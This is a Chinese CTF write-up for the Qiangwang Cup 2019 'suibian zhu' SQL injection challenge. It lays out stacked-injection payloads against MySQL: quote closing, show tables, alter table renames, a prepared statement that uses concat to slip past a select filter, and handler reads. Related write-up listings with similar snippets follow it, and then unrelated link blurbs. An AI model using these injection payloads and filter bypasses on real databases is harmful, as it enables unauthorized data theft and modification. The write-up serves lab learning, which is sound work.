强网杯2019随便注

它说随便注,它可不是随便注入的哈

首先测试闭合环境,因为有回显,所以很快即知道了是一个单引号闭合

接下来常规操作,得到列数大概为2

1';select 2;

返回了过滤信息

于是使用show来查看库,表,列

显然,这里已经将select过滤掉,只有对这个过滤进行一个绕过才能够得到flag

接着查询表名:
1';show tables;
又发现这里有两个表名

所以考虑3个方式:

方式1:修改表名

思路:既然只输入一个值进去就能够查询,说明这里的前后,必然有表名的存在。能不能将

SQL语句增加列、修改列、删除列

增加列:
alter table tableName add columnName varchar(30)
修改列名称:
sp_rename '表名.原列名','新列名'
修改表名:
alter table old_table_name rename to new_table_name;

playload+解释:

1.查看表名:
1’;show tables;
得到两张表:
`1919810931114514`
`words` 2.查看表结构:
1';show columns from `1919810931114514`;
1';show columns from `words`;
由于图片有点长,就不粘贴了
需要注意的在表`1919810931114514`中有flag,在`words`中有id 3.修改表名:将数字表修改为其它名字
1';alter table `1919810931114514` rename to shuzi; 4.修改表名2:交换名称
1';alter table `words` rename to `1919810931114514`;alter table `shuzi` rename to `words`;sp_rename 'words.flag','id';
为什么这一句这么长?
因为查询的是words表的id,修改之后,原来的数字表中不存在id,所以要进行添加,必须在修改words的时候添加。如果不在这个时候添加,就会出现语句漏洞,而报错,就得重新开环境了。别问为什么,因为错了很多次。

结果报错了:

那看来不能修改表名。俺这里是真的不行了,建议看看其他大佬的。

方法2:预处理

1';set @sql=concat('s','elect * from 1919810931114514');PREPARE pre FROM @sql;EXECUTE pre;--+

MySQL的SQL预处理(Prepared) - GeaoZhang - 博客园 (cnblogs.com))

方法3:handler

利用其他命令:

handler table open;handler table read first;	#打开表,读取

-1';handler `words` open;handler `words` read first;#
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#

MySQL5.7手册handler使用方法

BUUCTF-[强网杯2019]随便注的更多相关文章

  1. buuctf | [强网杯 2019]随便注

    1' and '0,1' and '1  : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...

  2. BUUCTF[强网杯 2019]随便注(堆叠注入)

    记一道堆叠注入的题.也是刷BUU的第一道题. ?inject=1' 报错 ?inject=1'--+ //正常 存在注入的.正常查询字段数,字段数为2.在联合查询的时候给了新提示 ?inject=0' ...

  3. [BUUOJ记录] [强网杯 2019]随便注(三种方法)

    本题主要考察堆叠注入,算是比较经典的一道题,在i春秋GYCTF中也出现了本题的升级版 猜测这里的MySQL语句结构应该是: select * from words where id='$inject' ...

  4. 强网杯 2019]随便注(堆叠注入,Prepare、execute、deallocate)

    然后就是今天学的新东西了,堆叠注入. 1';show databases; # 1';show tables; # 发现两个表1919810931114514.words 依次查询两张表的字段 1'; ...

  5. 刷题记录:[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

  6. WriteUp_easy_sql_堆叠注入_强网杯2019

    题目描述 随便注 解题过程 查看源码,发现应该不适合sqlmap自动化注入,该题应该是让你手工注入: <!-- sqlmap是没有灵魂的 --> <form method=" ...

  7. [原题复现]2019强网杯WEB-随便注(多种方法)

    简介 原题复现:https://gitee.com/xiaohua1998/qwb_2019_supersqli  考察知识点:SQL注入漏洞-堆叠注入  线上平台:https://buuoj.cn( ...

  8. [强网杯2019]upload buuoj

    提示:重点在这,可节省大部分时间 扫描后台 发现www.tar.gz备份文件. 这平台有429[太多请求限制]防护.dirsearch扫描一堆429.于是用了最笨的方法. 文件上传 先注册个账号 注册 ...

  9. [强网杯 2019]Upload

    0x00 知识点 代码审计,PHP 反序列化. 0x01 解题 先注册一个账号,再登陆 上传 简单测试一下: 只能上传能被正常查看的 png. F12看到文件上传路径 扫扫敏感文件 存在:/www.t ...

  10. [原题复现]强网杯 2019 WEB高明的黑客

    简介  原题复现:  考察知识点:python代码编写能力...  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简 ...

随机推荐

  1. 一个小时,200行代码,手写Spring的IOC、DI、MVC

    一.概述 配置阶段:主要是完成application.xml配置和Annotation配置. 初始化阶段:主要是加载并解析配置信息,然后,初始化IOC容器,完成容器的DI操作,已经完成HandlerM ...

  2. 自己动手基于 Redis 实现一个 .NET 的分布式锁

    分布式锁的核心其实就是采用一个集中式的服务,然后多个应用节点进行抢占式锁定来进行实现,今天介绍如何采用Redis作为基础服务,实现一个分布式锁的类库,本方案不考虑 Redis 集群多节点问题,如果引入 ...

  3. Gradle 使用maven本地仓库 带来的思考

    Gradle 使用maven本地仓库 带来的思考 本篇主要探究一下 在使用Gradle 的时候一般会配置 maven 的本地仓库的,那是不是Gradle 可以直接使用 maven本地仓库的jar呢 ? ...

  4. Qt多线程开发总览,既然用到了就记录一下

    多线程 在LBD_VM_Intercom中使用的一个简单的实例 陶工给的dll需要进行异步操作才可以将视频画面附到窗体上,必须得在画面出现之后才可以附加画面,否则就有可能出现意外bug,所以需要在这个 ...

  5. 如何使用 System.Text.Json 序列化 DateTimeOffset 为 Unix 时间戳

    在 .NET 中,日期和时间通常使用 DateTime 或 DateTimeOffset 来表示.这两种数据类型都可以表示日期和时间,但它们之间有一些明显的区别.DateTime 是不带时区信息的,而 ...

  6. 服务器迁移遇到的bug

    目前有个客户做了个下单系统,系统运行了太多的扩展了,但是又没有文档,我就想着能不能把服务器打包成镜像,然后用新服务直接使用?? 事实是完全OK的.服务器用的阿里云. 但是遇到一个bug,我目前还没解决 ...

  7. python循环结构之while循环

    在python中,除了for循环,还有一个while循环 for循环:循环次数是明确了的 while循环:循环次数不确定,循环停止条件由用户自定义 # while语句结构 while 判断条件: 执行 ...

  8. nuxt.js中引入lib-flexible 和 postcss-px2rem 实现pc自适应

    最近一个需要用nuxt框架实现的pc自适应项目,从网上找了很多资料,最终完美实现 一.下载相关插件 npm i lib-flexible -Snpm i px2rem-loader -Dnpm ins ...

  9. opencv-python学习之旅

    opencv-python 操作 *注:在此笔记中只记录下各种函数的使用,规则 详细讲解见https://opencv.apachecn.org/#/docs/4.0.0/2.1-tutorial_p ...

  10. [编程基础] C#自定义类调用窗体控件

    如果自定义类需要调用窗体控件,首先需要将窗体控件的可见级别(Modifiers)设为public.如下图所示: 然后在Form1类下定义静态变量form1,并初始化. class Form1: For ...